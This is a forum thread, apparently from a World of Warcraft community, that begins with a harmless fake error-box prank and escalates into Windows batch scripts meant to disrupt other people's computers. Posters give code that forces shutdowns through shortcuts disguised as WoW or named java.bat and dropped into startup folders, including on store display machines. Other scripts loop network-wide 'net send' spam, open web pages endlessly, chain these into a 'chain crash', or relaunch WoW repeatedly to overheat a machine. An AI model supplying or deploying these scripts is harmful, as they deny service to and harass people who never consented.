Scare Your Friends (Fake Error)

[Kabraxis]

Ever wanted to play a trick on your friend? Why not make them think something is wrong with their precious World of Warcraft? 6):

1) Start -> Run -> type notepad and hit enter.
2) When notepad opens, type msg = msgbox ("Critical error!" ,16, "ERROR")
(You can change what it says, first value is the text inside the box, second value is the icon ID, third value is the message box's title).
3) Hit Ctrl-S (Save) and save as error.vbs
Make sure on the drop-down menu you change *.txt to All files.
4) Go to the desktop and make a new shortcut to the file you just saved and give it the name World of Warcraft
5) Right click -> Properties -> Change Icon and change it to the WoW icon.
6) Delete the real WoW shortcut and replace it with this one. 6):

Just a fun little trick to play on your friends, nothing really special.

[Toxik]

haha.. nice

[sohnemann]

Nice one +rep

[xlAnonym0uslx]

Love it, gonna try it. +rep

[tuny]

Good one rofl ! +rep

[T3h_UnK0Wn]

Haha! I know a better one

1. Create a new shortcut

2. Type in shutdown -s -t 10 -c "Error!"

3. And name is World of Warcraft. Save it!

4. Change icon to WoW icon!

Have fun xD

[julian_in]

haha, yeah ino that one, T3h_UnK0Wn, its better :lol:

beside;
if you're into that coding, you can actually make them go even more crzy in another way.. change the 16, to 18, and then you make another "popup" when they click on one of those 3 buttons instead of each of them just closes down.. sry but im not into coding was just a thought i had :P

[Zacred]

Haha! I know a better one

1. Create a new shortcut

2. Type in shutdown -s -t 10 -c "Error!"

3. And name is World of Warcraft. Save it!

4. Change icon to WoW icon!

Have fun xD

To forfill T3h_UnK0Wn
Write this into the notepad document:
________________________________
echo off
cls
shutdown -s -t 10 -c "ERROR"
exit
________________________________

And save it as a .bat file.
You might not need all the lines (not sure), but it works

I usually do this whenever I'm on someone elses computer, or in a computer store with showoff computers linked at the walls. Just putting the .bat files in the startup folder at User/start/programs/startup saving with the title java.bat, nobody will understand a shit when the pc just shuts down each time you turn it on ;D;D;D

If you want the script to spam the network (the pc should be higher rank than Guest) just write in this:

________________________________
echo off
cls
:start
cls
net send * FATAL ERROR! PLEASE SHUTDOWN IMMEDIENTLY!
goto start
________________________________

To annoy ppl deluxe (the script opens same page forever until shutdown manually)
________________________________
echo off
cls
:start
cls
start http://www.yoursite.com
echo _____________
echo Javascript error.
echo Please contact manufacturer.
echo.
echo Microsoft Coorporation.
goto start
________________________________

This could be great fun if you know what you'r doing ;D
Sometimes I do as suggested in posts above this, to put a shortcut to the .bat file on the desktop under a fake name and a fake icon to make ppl go crazy

BTW
The standard icons should be found at c/windows/system32/shell.dll
Please tell me if the line is wrong or you got some cool functions to add



You could also do a chain crash
Copy diffrent spamming programs like the net send and place them somewhere in C\
then make something like this.

Startup file which is placed in user/start/programs/startup/:
_________________________
echo off
cls
:start
cls
start c\spam1.bat
start c\spam2.bat
start c\spam3.bat
and so on.....

goto start
_________________________

Then the spam1 could look like:
_________________________
echo off
cls
:start
cls
start http://www.SomeBadSite.com
goto start
_________________________


Spam2 could be:
_________________________
echo off
cls
:start
cls
net send * OmG L33T ShieT!
goto start
_________________________

[lilsavalex]

Haha! I know a better one

1. Create a new shortcut

2. Type in shutdown -s -t 10 -c "Error!"

3. And name is World of Warcraft. Save it!

4. Change icon to WoW icon!

Have fun xD

This one is better it actually turns off the computer

[Diagorr]

Does this network thing SPAM or does it send one message?
and if it spams how do I make it go one message or if it doesnt spam
how does I make it spam?

That was all thanks

[Imakepigsfly]

yur sooooo evil!!!

[sohnemann]

Does this network thing SPAM or does it send one message?
and if it spams how do I make it go one message or if it doesnt spam
how does I make it spam?

That was all thanks

This thing SPAMS. To make it spam place these ":start" and "goto start" thingys in front of and after the actual code. To make it send a single message, remove the loop.

[Acespades]

couldnt this also be used to overheat a computer? like mass running wow?

Not giving out any ideas XD

 echo off
cls
:start
cls
start file:///C:/Program%20Files/World%20of%20Warcraft/WoW.exe
echo _____________
echo Javascript error.
echo Please contact manufacturer.
echo.
echo Microsoft Coorporation.
goto start

Cough Cough

[King_yoshi]

Not bad.. I knwo most people don't use macs. But macs would be immune to this. Additionally, the infinite opening of a web page, can be called a "bomb". Which is considered hacking, and can get you banned form WoW. (The only reason I mentioned this is ebcause my friend got perma banned from wow when he sent this to one of his in game friends. Who then reported him)

[Zacred]

Does this network thing SPAM or does it send one message?
and if it spams how do I make it go one message or if it doesnt spam
how does I make it spam?

That was all thanks

Simply remove the loop function.
You can see I made a :start point which at the end I tell the script to go back to. If you replace "goto start" with like "goto exit" which isnt in the script, it would just stop running.

Additionally, the infinite opening of a web page, can be called a "bomb". Which is considered hacking, and can get you banned form WoW. (The only reason I mentioned this is ebcause my friend got perma banned from wow when he sent this to one of his in game friends. Who then reported him)

Sounds like some friend.

BTW to stop the countdown to shutdown, simply type in "shutdown /a" in your Run/cmd.